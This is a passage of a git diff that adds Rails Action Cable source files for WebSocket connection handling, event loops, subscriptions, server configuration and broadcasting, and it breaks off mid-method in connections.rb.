subscribe_to_internal_channel + send_welcome_message + + message_buffer.process! + server.add_connection(self) + rescue ActionCable::Connection::Authorization::UnauthorizedError + respond_to_invalid_request + end + + def handle_close + logger.info finished_request_message + + server.remove_connection(self) + + subscriptions.unsubscribe_from_all + unsubscribe_from_internal_channel + + disconnect if respond_to?(:disconnect) + end + + def send_welcome_message + # Send welcome message to the internal connection monitor channel. + # This ensures the connection monitor state is reset after a successful + # websocket connection. + transmit type: ActionCable::INTERNAL[:message_types][:welcome] + end + + def allow_request_origin? + return true if server.config.disable_request_forgery_protection + + if Array(server.config.allowed_request_origins).any? { |allowed_origin| allowed_origin === env['HTTP_ORIGIN'] } + true + else + logger.error("Request origin not allowed: #{env['HTTP_ORIGIN']}") + false + end + end + + def respond_to_successful_request + logger.info successful_request_message + websocket.rack_response + end + + def respond_to_invalid_request + close if websocket.alive? + + logger.error invalid_request_message + logger.info finished_request_message + [ 404, { 'Content-Type' => 'text/plain' }, [ 'Page not found' ] ] + end + + # Tags are declared in the server but computed in the connection. This allows us per-connection tailored tags. + def new_tagged_logger + TaggedLoggerProxy.new server.logger, + tags: server.config.log_tags.map { |tag| tag.respond_to?(:call) ? tag.call(request) : tag.to_s.camelize } + end + + def started_request_message + 'Started %s "%s"%s for %s at %s' % [ + request.request_method, + request.filtered_path, + websocket.possible? ? ' [WebSocket]' : '[non-WebSocket]', + request.ip, + Time.now.to_s ] + end + + def finished_request_message + 'Finished "%s"%s for %s at %s' % [ + request.filtered_path, + websocket.possible? ? ' [WebSocket]' : '[non-WebSocket]', + request.ip, + Time.now.to_s ] + end + + def invalid_request_message + 'Failed to upgrade to WebSocket (REQUEST_METHOD: %s, HTTP_CONNECTION: %s, HTTP_UPGRADE: %s)' % [ + env["REQUEST_METHOD"], env["HTTP_CONNECTION"], env["HTTP_UPGRADE"] + ] + end + + def successful_request_message + 'Successfully upgraded to WebSocket (REQUEST_METHOD: %s, HTTP_CONNECTION: %s, HTTP_UPGRADE: %s)' % [ + env["REQUEST_METHOD"], env["HTTP_CONNECTION"], env["HTTP_UPGRADE"] + ] + end + end + end +end diff --git a/actioncable/lib/action_cable/connection/client_socket.rb b/actioncable/lib/action_cable/connection/client_socket.rb new file mode 100644 index 0000000000..6f29f32ea9 --- /dev/null +++ b/actioncable/lib/action_cable/connection/client_socket.rb @@ -0,0 +1,155 @@ +require 'websocket/driver' + +module ActionCable + module Connection + #-- + # This class is heavily based on faye-websocket-ruby + # + # Copyright (c) 2010-2015 James Coglan + class ClientSocket # :nodoc: + def self.determine_url(env) + scheme = secure_request?(env) ? 'wss:' : 'ws:' + "#{ scheme }//#{ env['HTTP_HOST'] }#{ env['REQUEST_URI'] }" + end + + def self.secure_request?(env) + return true if env['HTTPS'] == 'on' + return true if env['HTTP_X_FORWARDED_SSL'] == 'on' + return true if env['HTTP_X_FORWARDED_SCHEME'] == 'https' + return true if env['HTTP_X_FORWARDED_PROTO'] == 'https' + return true if env['rack.url_scheme'] == 'https' + + return false + end + + CONNECTING = 0 + OPEN = 1 + CLOSING = 2 + CLOSED = 3 + + attr_reader :env, :url + + def initialize(env, event_target, event_loop, protocols) + @env = env + @event_target = event_target + @event_loop = event_loop + + @url = ClientSocket.determine_url(@env) + + @driver = @driver_started = nil + @close_params = ['', 1006] + + @ready_state = CONNECTING + + # The driver calls +env+, +url+, and +write+ + @driver = ::WebSocket::Driver.rack(self, protocols: protocols) + + @driver.on(:open) { |e| open } + @driver.on(:message) { |e| receive_message(e.data) } + @driver.on(:close) { |e| begin_close(e.reason, e.code) } + @driver.on(:error) { |e| emit_error(e.message) } + + @stream = ActionCable::Connection::Stream.new(@event_loop, self) + end + + def start_driver + return if @driver.nil? || @driver_started + @stream.hijack_rack_socket + + if callback = @env['async.callback'] + callback.call([101, {}, @stream]) + end + + @driver_started = true + @driver.start + end + + def rack_response + start_driver + [ -1, {}, [] ] + end + + def write(data) + @stream.write(data) + rescue => e + emit_error e.message + end + + def transmit(message) + return false if @ready_state > OPEN + case message + when Numeric then @driver.text(message.to_s) + when String then @driver.text(message) + when Array then @driver.binary(message) + else false + end + end + + def close(code = nil, reason = nil) + code ||= 1000 + reason ||= '' + + unless code == 1000 or (code >= 3000 and code <= 4999) + raise ArgumentError, "Failed to execute 'close' on WebSocket: " + + "The code must be either 1000, or between 3000 and 4999. " + + "#{code} is neither." + end + + @ready_state = CLOSING unless @ready_state == CLOSED + @driver.close(reason, code) + end + + def parse(data) + @driver.parse(data) + end + + def client_gone + finalize_close + end + + def alive? + @ready_state == OPEN + end + + def protocol + @driver.protocol + end + + private + def open + return unless @ready_state == CONNECTING + @ready_state = OPEN + + @event_target.on_open + end + + def receive_message(data) + return unless @ready_state == OPEN + + @event_target.on_message(data) + end + + def emit_error(message) + return if @ready_state >= CLOSING + + @event_target.on_error(message) + end + + def begin_close(reason, code) + return if @ready_state == CLOSED + @ready_state = CLOSING + @close_params = [reason, code] + + @stream.shutdown if @stream + finalize_close + end + + def finalize_close + return if @ready_state == CLOSED + @ready_state = CLOSED + + @event_target.on_close(*@close_params) + end + end + end +end diff --git a/actioncable/lib/action_cable/connection/faye_client_socket.rb b/actioncable/lib/action_cable/connection/faye_client_socket.rb new file mode 100644 index 0000000000..a4bfe7db17 --- /dev/null +++ b/actioncable/lib/action_cable/connection/faye_client_socket.rb @@ -0,0 +1,48 @@ +require 'faye/websocket' + +module ActionCable + module Connection + class FayeClientSocket + def initialize(env, event_target, stream_event_loop, protocols) + @env = env + @event_target = event_target + @protocols = protocols + + @faye = nil + end + + def alive? + @faye && @faye.ready_state == Faye::WebSocket::API::OPEN + end + + def transmit(data) + connect + @faye.send data + end + + def close + @faye && @faye.close + end + + def protocol + @faye && @faye.protocol + end + + def rack_response + connect + @faye.rack_response + end + + private + def connect + return if @faye + @faye = Faye::WebSocket.new(@env, @protocols) + + @faye.on(:open) { |event| @event_target.on_open } + @faye.on(:message) { |event| @event_target.on_message(event.data) } + @faye.on(:close) { |event| @event_target.on_close(event.reason, event.code) } + @faye.on(:error) { |event| @event_target.on_error(event.message) } + end + end + end +end diff --git a/actioncable/lib/action_cable/connection/faye_event_loop.rb b/actioncable/lib/action_cable/connection/faye_event_loop.rb new file mode 100644 index 0000000000..9c44b38bc3 --- /dev/null +++ b/actioncable/lib/action_cable/connection/faye_event_loop.rb @@ -0,0 +1,44 @@ +require 'thread' + +require 'eventmachine' +EventMachine.epoll if EventMachine.epoll? +EventMachine.kqueue if EventMachine.kqueue? + +module ActionCable + module Connection + class FayeEventLoop + @@mutex = Mutex.new + + def timer(interval, &block) + ensure_reactor_running + EMTimer.new(::EM::PeriodicTimer.new(interval, &block)) + end + + def post(task = nil, &block) + task ||= block + + ensure_reactor_running + ::EM.next_tick(&task) + end + + private + def ensure_reactor_running + return if EventMachine.reactor_running? + @@mutex.synchronize do + Thread.new { EventMachine.run } unless EventMachine.reactor_running? + Thread.pass until EventMachine.reactor_running? + end + end + + class EMTimer + def initialize(inner) + @inner = inner + end + + def shutdown + @inner.cancel + end + end + end + end +end diff --git a/actioncable/lib/action_cable/connection/identification.rb b/actioncable/lib/action_cable/connection/identification.rb new file mode 100644 index 0000000000..4a54044aff --- /dev/null +++ b/actioncable/lib/action_cable/connection/identification.rb @@ -0,0 +1,46 @@ +require 'set' + +module ActionCable + module Connection + module Identification + extend ActiveSupport::Concern + + included do + class_attribute :identifiers + self.identifiers = Set.new + end + + class_methods do + # Mark a key as being a connection identifier index that can then be used to find the specific connection again later. + # Common identifiers are current_user and current_account, but could be anything, really. + # + # Note that anything marked as an identifier will automatically create a delegate by the same name on any + # channel instances created off the connection. + def identified_by(*identifiers) + Array(identifiers).each { |identifier| attr_accessor identifier } + self.identifiers += identifiers + end + end + + # Return a single connection identifier that combines the value of all the registered identifiers into a single gid. + def connection_identifier + unless defined? @connection_identifier + @connection_identifier = connection_gid identifiers.map { |id| instance_variable_get("@#{id}") }.compact + end + + @connection_identifier + end + + private + def connection_gid(ids) + ids.map do |o| + if o.respond_to? :to_gid_param + o.to_gid_param + else + o.to_s + end + end.sort.join(":") + end + end + end +end diff --git a/actioncable/lib/action_cable/connection/internal_channel.rb b/actioncable/lib/action_cable/connection/internal_channel.rb new file mode 100644 index 0000000000..f70d52f99b --- /dev/null +++ b/actioncable/lib/action_cable/connection/internal_channel.rb @@ -0,0 +1,43 @@ +module ActionCable + module Connection + # Makes it possible for the RemoteConnection to disconnect a specific connection. + module InternalChannel + extend ActiveSupport::Concern + + private + def internal_channel + "action_cable/#{connection_identifier}" + end + + def subscribe_to_internal_channel + if connection_identifier.present? + callback = -> (message) { process_internal_message decode(message) } + @_internal_subscriptions ||= [] + @_internal_subscriptions << [ internal_channel, callback ] + + server.event_loop.post { pubsub.subscribe(internal_channel, callback) } + logger.info "Registered connection (#{connection_identifier})" + end + end + + def unsubscribe_from_internal_channel + if @_internal_subscriptions.present? + @_internal_subscriptions.each { |channel, callback| server.event_loop.post { pubsub.unsubscribe(channel, callback) } } + end + end + + def process_internal_message(message) + case message['type'] + when 'disconnect' + logger.info "Removing connection (#{connection_identifier})" + websocket.close + end + rescue Exception => e + logger.error "There was an exception - #{e.class}(#{e.message})" + logger.error e.backtrace.join("\n") + + close + end + end + end +end diff --git a/actioncable/lib/action_cable/connection/message_buffer.rb b/actioncable/lib/action_cable/connection/message_buffer.rb new file mode 100644 index 0000000000..6a80770cae --- /dev/null +++ b/actioncable/lib/action_cable/connection/message_buffer.rb @@ -0,0 +1,53 @@ +module ActionCable + module Connection + # Allows us to buffer messages received from the WebSocket before the Connection has been fully initialized, and is ready to receive them. + class MessageBuffer # :nodoc: + def initialize(connection) + @connection = connection + @buffered_messages = [] + end + + def append(message) + if valid? message + if processing? + receive message + else + buffer message + end + else + connection.logger.error "Couldn't handle non-string message: #{message.class}" + end + end + + def processing? + @processing + end + + def process! + @processing = true + receive_buffered_messages + end + + protected + attr_reader :connection + attr_reader :buffered_messages + + private + def valid?(message) + message.is_a?(String) + end + + def receive(message) + connection.receive message + end + + def buffer(message) + buffered_messages << message + end + + def receive_buffered_messages + receive buffered_messages.shift until buffered_messages.empty? + end + end + end +end diff --git a/actioncable/lib/action_cable/connection/stream.rb b/actioncable/lib/action_cable/connection/stream.rb new file mode 100644 index 0000000000..0cf59091bc --- /dev/null +++ b/actioncable/lib/action_cable/connection/stream.rb @@ -0,0 +1,57 @@ +module ActionCable + module Connection + #-- + # This class is heavily based on faye-websocket-ruby + # + # Copyright (c) 2010-2015 James Coglan + class Stream # :nodoc: + def initialize(event_loop, socket) + @event_loop = event_loop + @socket_object = socket + @stream_send = socket.env['stream.send'] + + @rack_hijack_io = nil + end + + def each(&callback) + @stream_send ||= callback + end + + def close + shutdown + @socket_object.client_gone + end + + def shutdown + clean_rack_hijack + end + + def write(data) + return @rack_hijack_io.write(data) if @rack_hijack_io + return @stream_send.call(data) if @stream_send + rescue EOFError, Errno::ECONNRESET + @socket_object.client_gone + end + + def receive(data) + @socket_object.parse(data) + end + + def hijack_rack_socket + return unless @socket_object.env['rack.hijack'] + + @socket_object.env['rack.hijack'].call + @rack_hijack_io = @socket_object.env['rack.hijack_io'] + + @event_loop.attach(@rack_hijack_io, self) + end + + private + def clean_rack_hijack + return unless @rack_hijack_io + @event_loop.detach(@rack_hijack_io, self) + @rack_hijack_io = nil + end + end + end +end diff --git a/actioncable/lib/action_cable/connection/stream_event_loop.rb b/actioncable/lib/action_cable/connection/stream_event_loop.rb new file mode 100644 index 0000000000..2abad09c03 --- /dev/null +++ b/actioncable/lib/action_cable/connection/stream_event_loop.rb @@ -0,0 +1,103 @@ +require 'nio' +require 'thread' + +module ActionCable + module Connection + class StreamEventLoop + def initialize + @nio = @thread = nil + @map = {} + @stopping = false + @todo = Queue.new + + @spawn_mutex = Mutex.new + end + + def timer(interval, &block) + Concurrent::TimerTask.new(execution_interval: interval, &block).tap(&:execute) + end + + def post(task = nil, &block) + task ||= block + + Concurrent.global_io_executor << task + end + + def attach(io, stream) + @todo << lambda do + @map[io] = stream + @nio.register(io, :r) + end + wakeup + end + + def detach(io, stream) + @todo << lambda do + @nio.deregister io + @map.delete io + end + wakeup + end + + def stop + @stopping = true + wakeup if @nio + end + + private + def spawn + return if @thread && @thread.status + + @spawn_mutex.synchronize do + return if @thread && @thread.status + + @nio ||= NIO::Selector.new + @thread = Thread.new { run } + + return true + end + end + + def wakeup + spawn || @nio.wakeup + end + + def run + loop do + if @stopping + @nio.close + break + end + + until @todo.empty? + @todo.pop(true).call + end + + next unless monitors = @nio.select + + monitors.each do |monitor| + io = monitor.io + stream = @map[io] + + begin + stream.receive io.read_nonblock(4096) + rescue IO::WaitReadable + next + rescue + # We expect one of EOFError or Errno::ECONNRESET in + # normal operation (when the client goes away). But if + # anything else goes wrong, this is still the best way + # to handle it. + begin + stream.close + rescue + @nio.deregister io + @map.delete io + end + end + end + end + end + end + end +end diff --git a/actioncable/lib/action_cable/connection/subscriptions.rb b/actioncable/lib/action_cable/connection/subscriptions.rb new file mode 100644 index 0000000000..3742f248d1 --- /dev/null +++ b/actioncable/lib/action_cable/connection/subscriptions.rb @@ -0,0 +1,75 @@ +require 'active_support/core_ext/hash/indifferent_access' + +module ActionCable + module Connection + # Collection class for all the channel subscriptions established on a given connection. Responsible for routing incoming commands that arrive on + # the connection to the proper channel. + class Subscriptions # :nodoc: + def initialize(connection) + @connection = connection + @subscriptions = {} + end + + def execute_command(data) + case data['command'] + when 'subscribe' then add data + when 'unsubscribe' then remove data + when 'message' then perform_action data + else + logger.error "Received unrecognized command in #{data.inspect}" + end + rescue Exception => e + logger.error "Could not execute command from #{data.inspect}) [#{e.class} - #{e.message}]: #{e.backtrace.first(5).join(" | ")}" + end + + def add(data) + id_key = data['identifier'] + id_options = ActiveSupport::JSON.decode(id_key).with_indifferent_access + + subscription_klass = connection.server.channel_classes[id_options[:channel]] + + if subscription_klass + subscriptions[id_key] ||= subscription_klass.new(connection, id_key, id_options) + else + logger.error "Subscription class not found (#{data.inspect})" + end + end + + def remove(data) + logger.info "Unsubscribing from channel: #{data['identifier']}" + remove_subscription subscriptions[data['identifier']] + end + + def remove_subscription(subscription) + subscription.unsubscribe_from_channel + subscriptions.delete(subscription.identifier) + end + + def perform_action(data) + find(data).perform_action ActiveSupport::JSON.decode(data['data']) + end + + def identifiers + subscriptions.keys + end + + def unsubscribe_from_all + subscriptions.each { |id, channel| remove_subscription(channel) } + end + + protected + attr_reader :connection, :subscriptions + + private + delegate :logger, to: :connection + + def find(data) + if subscription = subscriptions[data['identifier']] + subscription + else + raise "Unable to find subscription with identifier: #{data['identifier']}" + end + end + end + end +end diff --git a/actioncable/lib/action_cable/connection/tagged_logger_proxy.rb b/actioncable/lib/action_cable/connection/tagged_logger_proxy.rb new file mode 100644 index 0000000000..41afa9680a --- /dev/null +++ b/actioncable/lib/action_cable/connection/tagged_logger_proxy.rb @@ -0,0 +1,40 @@ +module ActionCable + module Connection + # Allows the use of per-connection tags against the server logger. This wouldn't work using the traditional + # <tt>ActiveSupport::TaggedLogging</tt> enhanced Rails.logger, as that logger will reset the tags between requests. + # The connection is long-lived, so it needs its own set of tags for its independent duration. + class TaggedLoggerProxy + attr_reader :tags + + def initialize(logger, tags:) + @logger = logger + @tags = tags.flatten + end + + def add_tags(*tags) + @tags += tags.flatten + @tags = @tags.uniq + end + + def tag(logger) + if logger.respond_to?(:tagged) + current_tags = tags - logger.formatter.current_tags + logger.tagged(*current_tags) { yield } + else + yield + end + end + + %i( debug info warn error fatal unknown ).each do |severity| + define_method(severity) do |message| + log severity, message + end + end + + protected + def log(type, message) + tag(@logger) { @logger.send type, message } + end + end + end +end diff --git a/actioncable/lib/action_cable/connection/web_socket.rb b/actioncable/lib/action_cable/connection/web_socket.rb new file mode 100644 index 0000000000..11f28c37e8 --- /dev/null +++ b/actioncable/lib/action_cable/connection/web_socket.rb @@ -0,0 +1,39 @@ +require 'websocket/driver' + +module ActionCable + module Connection + # Wrap the real socket to minimize the externally-presented API + class WebSocket + def initialize(env, event_target, event_loop, client_socket_class, protocols: ActionCable::INTERNAL[:protocols]) + @websocket = ::WebSocket::Driver.websocket?(env) ? client_socket_class.new(env, event_target, event_loop, protocols) : nil + end + + def possible? + websocket + end + + def alive? + websocket && websocket.alive? + end + + def transmit(data) + websocket.transmit data + end + + def close + websocket.close + end + + def protocol + websocket.protocol + end + + def rack_response + websocket.rack_response + end + + protected + attr_reader :websocket + end + end +end diff --git a/actioncable/lib/action_cable/engine.rb b/actioncable/lib/action_cable/engine.rb new file mode 100644 index 0000000000..8ce1b24962 --- /dev/null +++ b/actioncable/lib/action_cable/engine.rb @@ -0,0 +1,80 @@ +require "rails" +require "action_cable" +require "action_cable/helpers/action_cable_helper" +require "active_support/core_ext/hash/indifferent_access" + +module ActionCable + class Engine < Rails::Engine # :nodoc: + config.action_cable = ActiveSupport::OrderedOptions.new + config.action_cable.mount_path = ActionCable::INTERNAL[:default_mount_path] + + config.eager_load_namespaces << ActionCable + + initializer "action_cable.helpers" do + ActiveSupport.on_load(:action_view) do + include ActionCable::Helpers::ActionCableHelper + end + end + + initializer "action_cable.logger" do + ActiveSupport.on_load(:action_cable) { self.logger ||= ::Rails.logger } + end + + initializer "action_cable.set_configs" do |app| + options = app.config.action_cable + options.allowed_request_origins ||= "http://localhost:3000" if ::Rails.env.development? + + app.paths.add "config/cable", with: "config/cable.yml" + + ActiveSupport.on_load(:action_cable) do + if (config_path = Pathname.new(app.config.paths["config/cable"].first)).exist? + self.cable = Rails.application.config_for(config_path).with_indifferent_access + end + + if 'ApplicationCable::Connection'.safe_constantize + self.connection_class = ApplicationCable::Connection + end + + self.channel_paths = Rails.application.paths['app/channels'].existent + + options.each { |k,v| send("#{k}=", v) } + end + end + + initializer "action_cable.routes" do + config.after_initialize do |app| + config = app.config + unless config.action_cable.mount_path.nil? + app.routes.prepend do + mount ActionCable.server => config.action_cable.mount_path, internal: true + end + end + end + end + + initializer "action_cable.set_work_hooks" do |app| + ActiveSupport.on_load(:action_cable) do + ActionCable::Server::Worker.set_callback :work, :around, prepend: true do |_, inner| + app.executor.wrap do + # If we took a while to get the lock, we may have been halted + # in the meantime. As we haven't started doing any real work + # yet, we should pretend that we never made it off the queue. + unless stopping? + inner.call + end + end + end + + wrap = lambda do |_, inner| + app.executor.wrap(&inner) + end + ActionCable::Channel::Base.set_callback :subscribe, :around, prepend: true, &wrap + ActionCable::Channel::Base.set_callback :unsubscribe, :around, prepend: true, &wrap + + app.reloader.before_class_unload do + ActionCable.server.restart + end + end + end + end +end diff --git a/actioncable/lib/action_cable/gem_version.rb b/actioncable/lib/action_cable/gem_version.rb new file mode 100644 index 0000000000..8ba0230d47 --- /dev/null +++ b/actioncable/lib/action_cable/gem_version.rb @@ -0,0 +1,15 @@ +module ActionCable + # Returns the version of the currently loaded Action Cable as a <tt>Gem::Version</tt>. + def self.gem_version + Gem::Version.new VERSION::STRING + end + + module VERSION + MAJOR = 5 + MINOR = 1 + TINY = 0 + PRE = "alpha" + + STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".") + end +end diff --git a/actioncable/lib/action_cable/helpers/action_cable_helper.rb b/actioncable/lib/action_cable/helpers/action_cable_helper.rb new file mode 100644 index 0000000000..2081a37db6 --- /dev/null +++ b/actioncable/lib/action_cable/helpers/action_cable_helper.rb @@ -0,0 +1,40 @@ +module ActionCable + module Helpers + module ActionCableHelper + # Returns an "action-cable-url" meta tag with the value of the URL specified in your + # configuration. Ensure this is above your JavaScript tag: + # + # <head> + # <%= action_cable_meta_tag %> + # <%= javascript_include_tag 'application', 'data-turbolinks-track' => true %> + # </head> + # + # This is then used by Action Cable to determine the URL of your WebSocket server. + # Your CoffeeScript can then connect to the server without needing to specify the + # URL directly: + # + # #= require cable + # @App = {} + # App.cable = Cable.createConsumer() + # + # Make sure to specify the correct server location in each of your environment + # config files: + # + # config.action_cable.mount_path = "/cable123" + # <%= action_cable_meta_tag %> would render: + # => <meta name="action-cable-url" content="/cable123" /> + # + # config.action_cable.url = "ws://actioncable.com" + # <%= action_cable_meta_tag %> would render: + # => <meta name="action-cable-url" content="ws://actioncable.com" /> + # + def action_cable_meta_tag + tag "meta", name: "action-cable-url", content: ( + ActionCable.server.config.url || + ActionCable.server.config.mount_path || + raise("No Action Cable URL configured -- please configure this at config.action_cable.url") + ) + end + end + end +end diff --git a/actioncable/lib/action_cable/remote_connections.rb b/actioncable/lib/action_cable/remote_connections.rb new file mode 100644 index 0000000000..a528024427 --- /dev/null +++ b/actioncable/lib/action_cable/remote_connections.rb @@ -0,0 +1,66 @@ +module ActionCable + # If you need to disconnect a given connection, you can go through the + # RemoteConnections. You can find the connections you're looking for by + # searching for the identifier declared on the connection. For example: + # + # module ApplicationCable + # class Connection < ActionCable::Connection::Base + # identified_by :current_user + # .... + # end + # end + # + # ActionCable.server.remote_connections.where(current_user: User.find(1)).disconnect + # + # This will disconnect all the connections established for + # <tt>User.find(1)</tt>, across all servers running on all machines, because + # it uses the internal channel that all of these servers are subscribed to. + class RemoteConnections + attr_reader :server + + def initialize(server) + @server = server + end + + def where(identifier) + RemoteConnection.new(server, identifier) + end + + private + # Represents a single remote connection found via <tt>ActionCable.server.remote_connections.where(*)</tt>. + # Exists solely for the purpose of calling #disconnect on that connection. + class RemoteConnection + class InvalidIdentifiersError < StandardError; end + + include Connection::Identification, Connection::InternalChannel + + def initialize(server, ids) + @server = server + set_identifier_instance_vars(ids) + end + + # Uses the internal channel to disconnect the connection. + def disconnect + server.broadcast internal_channel, type: 'disconnect' + end + + # Returns all the identifiers that were applied to this connection. + def identifiers + server.connection_identifiers + end + + private + attr_reader :server + + def set_identifier_instance_vars(ids) + raise InvalidIdentifiersError unless valid_identifiers?(ids) + ids.each { |k,v| instance_variable_set("@#{k}", v) } + end + + def valid_identifiers?(ids) + keys = ids.keys + identifiers.all? { |id| keys.include?(id) } + end + end + end +end diff --git a/actioncable/lib/action_cable/server.rb b/actioncable/lib/action_cable/server.rb new file mode 100644 index 0000000000..bd6a3826a3 --- /dev/null +++ b/actioncable/lib/action_cable/server.rb @@ -0,0 +1,15 @@ +module ActionCable + module Server + extend ActiveSupport::Autoload + + eager_autoload do + autoload :Base + autoload :Broadcasting + autoload :Connections + autoload :Configuration + + autoload :Worker + autoload :ActiveRecordConnectionManagement, 'action_cable/server/worker/active_record_connection_management' + end + end +end diff --git a/actioncable/lib/action_cable/server/base.rb b/actioncable/lib/action_cable/server/base.rb new file mode 100644 index 0000000000..b1a0e11631 --- /dev/null +++ b/actioncable/lib/action_cable/server/base.rb @@ -0,0 +1,93 @@ +require 'monitor' + +module ActionCable + module Server + # A singleton ActionCable::Server instance is available via ActionCable.server. It's used by the Rack process that starts the Action Cable server, but + # is also used by the user to reach the RemoteConnections object, which is used for finding and disconnecting connections across all servers. + # + # Also, this is the server instance used for broadcasting. See Broadcasting for more information. + class Base + include ActionCable::Server::Broadcasting + include ActionCable::Server::Connections + + cattr_accessor(:config, instance_accessor: true) { ActionCable::Server::Configuration.new } + + def self.logger; config.logger; end + delegate :logger, to: :config + + attr_reader :mutex + + def initialize + @mutex = Monitor.new + @remote_connections = @event_loop = @worker_pool = @channel_classes = @pubsub = nil + end + + # Called by Rack to setup the server. + def call(env) + setup_heartbeat_timer + config.connection_class.new(self, env).process + end + + # Disconnect all the connections identified by `identifiers` on this server or any others via RemoteConnections. + def disconnect(identifiers) + remote_connections.where(identifiers).disconnect + end + + def restart + connections.each(&:close) + + @mutex.synchronize do + worker_pool.halt if @worker_pool + + @worker_pool = nil + end + end + + # Gateway to RemoteConnections. See that class for details. + def remote_connections + @remote_connections || @mutex.synchronize { @remote_connections ||= RemoteConnections.new(self) } + end + + def event_loop + @event_loop || @mutex.synchronize { @event_loop ||= config.event_loop_class.new } + end + + # The worker pool is where we run connection callbacks and channel actions. We do as little as possible on the server's main thread. + # The worker pool is an executor service that's backed by a pool of threads working from a task queue. The thread pool size maxes out + # at 4 worker threads by default. Tune the size yourself with config.action_cable.worker_pool_size. + # + # Using Active Record, Redis, etc within your channel actions means you'll get a separate connection from each thread in the worker pool. + # Plan your deployment accordingly: 5 servers each running 5 Puma workers each running an 8-thread worker pool means at least 200 database + # connections. + # + # Also, ensure that your database connection pool size is as least as large as your worker pool size. Otherwise, workers may oversubscribe + # the db connection pool and block while they wait for other workers to release their connections. Use a smaller worker pool or a larger + # db connection pool instead. + def worker_pool + @worker_pool || @mutex.synchronize { @worker_pool ||= ActionCable::Server::Worker.new(max_size: config.worker_pool_size) } + end + + # Requires and returns a hash of all of the channel class constants, which are keyed by name. + def channel_classes + @channel_classes || @mutex.synchronize do + @channel_classes ||= begin + config.channel_paths.each { |channel_path| require channel_path } + config.channel_class_names.each_with_object({}) { |name, hash| hash[name] = name.constantize } + end + end + end + + # Adapter used for all streams/broadcasting. + def pubsub + @pubsub || @mutex.synchronize { @pubsub ||= config.pubsub_adapter.new(self) } + end + + # All of the identifiers applied to the connection class associated with this server. + def connection_identifiers + config.connection_class.identifiers + end + end + + ActiveSupport.run_load_hooks(:action_cable, Base.config) + end +end diff --git a/actioncable/lib/action_cable/server/broadcasting.rb b/actioncable/lib/action_cable/server/broadcasting.rb new file mode 100644 index 0000000000..8f93564113 --- /dev/null +++ b/actioncable/lib/action_cable/server/broadcasting.rb @@ -0,0 +1,48 @@ +module ActionCable + module Server + # Broadcasting is how other parts of your application can send messages to a channel's subscribers. As explained in Channel, most of the time, these + # broadcastings are streamed directly to the clients subscribed to the named broadcasting. Let's explain with a full-stack example: + # + # class WebNotificationsChannel < ApplicationCable::Channel + # def subscribed + # stream_from "web_notifications_#{current_user.id}" + # end + # end + # + # # Somewhere in your app this is called, perhaps from a NewCommentJob: + # ActionCable.server.broadcast \ + # "web_notifications_1", { title: "New things!", body: "All that's fit for print" } + # + # # Client-side CoffeeScript, which assumes you've already requested the right to send web notifications: + # App.cable.subscriptions.create "WebNotificationsChannel", + # received: (data) -> + # new Notification data['title'], body: data['body'] + module Broadcasting + # Broadcast a hash directly to a named <tt>broadcasting</tt>. This will later be JSON encoded. + def broadcast(broadcasting, message, coder: ActiveSupport::JSON) + broadcaster_for(broadcasting, coder: coder).broadcast(message) + end + + # Returns a broadcaster for a named <tt>broadcasting</tt> that can be reused. Useful when you have an object that + # may need multiple spots to transmit to a specific broadcasting over and over. + def broadcaster_for(broadcasting, coder: ActiveSupport::JSON) + Broadcaster.new(self, String(broadcasting), coder: coder) + end + + private + class Broadcaster + attr_reader :server, :broadcasting, :coder + + def initialize(server, broadcasting, coder:) + @server, @broadcasting, @coder = server, broadcasting, coder + end + + def broadcast(message) + server.logger.info "[ActionCable] Broadcasting to #{broadcasting}: #{message.inspect}" + encoded = coder ? coder.encode(message) : message + server.pubsub.broadcast broadcasting, encoded + end + end + end + end +end diff --git a/actioncable/lib/action_cable/server/configuration.rb b/actioncable/lib/action_cable/server/configuration.rb new file mode 100644 index 0000000000..0bb378cf03 --- /dev/null +++ b/actioncable/lib/action_cable/server/configuration.rb @@ -0,0 +1,64 @@ +module ActionCable + module Server + # An instance of this configuration object is available via ActionCable.server.config, which allows you to tweak Action Cable configuration + # in a Rails config initializer. + class Configuration + attr_accessor :logger, :log_tags + attr_accessor :use_faye, :connection_class, :worker_pool_size + attr_accessor :disable_request_forgery_protection, :allowed_request_origins + attr_accessor :cable, :url, :mount_path + + attr_accessor :channel_paths # :nodoc: + + def initialize + @log_tags = [] + + @connection_class = ActionCable::Connection::Base + @worker_pool_size = 4 + + @disable_request_forgery_protection = false + end + + def channel_class_names + @channel_class_names ||= channel_paths.collect do |channel_path| + Pathname.new(channel_path).basename.to_s.split('.').first.camelize + end + end + + # Returns constant of subscription adapter specified in config/cable.yml. + # If the adapter cannot be found, this will default to the Redis adapter. + # Also makes sure proper dependencies are required. + def pubsub_adapter + adapter = (cable.fetch('adapter') { 'redis' }) + path_to_adapter = "action_cable/subscription_adapter/#{adapter}" + begin + require path_to_adapter + rescue Gem::LoadError => e + raise Gem::LoadError, "Specified '#{adapter}' for Action Cable pubsub adapter, but the gem is not loaded. Add `gem '#{e.name}'` to your Gemfile (and ensure its version is at the minimum required by Action Cable)." + rescue LoadError => e + raise LoadError, "Could not load '#{path_to_adapter}'. Make sure that the adapter in config/cable.yml is valid. If you use an adapter other than 'postgresql' or 'redis' add the necessary adapter gem to the Gemfile.", e.backtrace + end + + adapter = adapter.camelize + adapter = 'PostgreSQL' if adapter == 'Postgresql' + "ActionCable::SubscriptionAdapter::#{adapter}".constantize + end + + def event_loop_class + if use_faye + ActionCable::Connection::FayeEventLoop + else + ActionCable::Connection::StreamEventLoop + end + end + + def client_socket_class + if use_faye + ActionCable::Connection::FayeClientSocket + else + ActionCable::Connection::ClientSocket + end + end + end + end +end diff --git a/actioncable/lib/action_cable/server/connections.rb b/actioncable/lib/action_cable/server/connections.rb new file mode 100644 index 0000000000..5e61b4e335 --- /dev/null +++ b/actioncable/lib/action_cable/server/connections.rb @@ -0,0 +1,34 @@ +module ActionCable + module Server + # Collection class for all the connections that have been established on this specific server. Remember, usually you'll run many Action Cable servers, so + # you can't use this collection as a full list of all of the connections established against your application. Instead, use RemoteConnections for that. + module Connections # :nodoc: + BEAT_INTERVAL = 3 + + def connections + @connections ||= [] + end + + def add_connection(connection) + connections << connection + end + + def remove_connection(connection) + connections.delete connection + end + + # WebSocket connection implementations differ on when they'll mark a connection as stale. We basically never want a connection to go stale, as you + # then can't rely on being able to communicate with the connection. To solve this, a 3 second heartbeat runs on all connections. If the beat fails, we automatically + # disconnect. + def setup_heartbeat_timer + @heartbeat_timer ||= event_loop.timer(BEAT_INTERVAL) do + event_loop.post { connections.map(&:beat) } + end + end + + def open_connections_statistics + 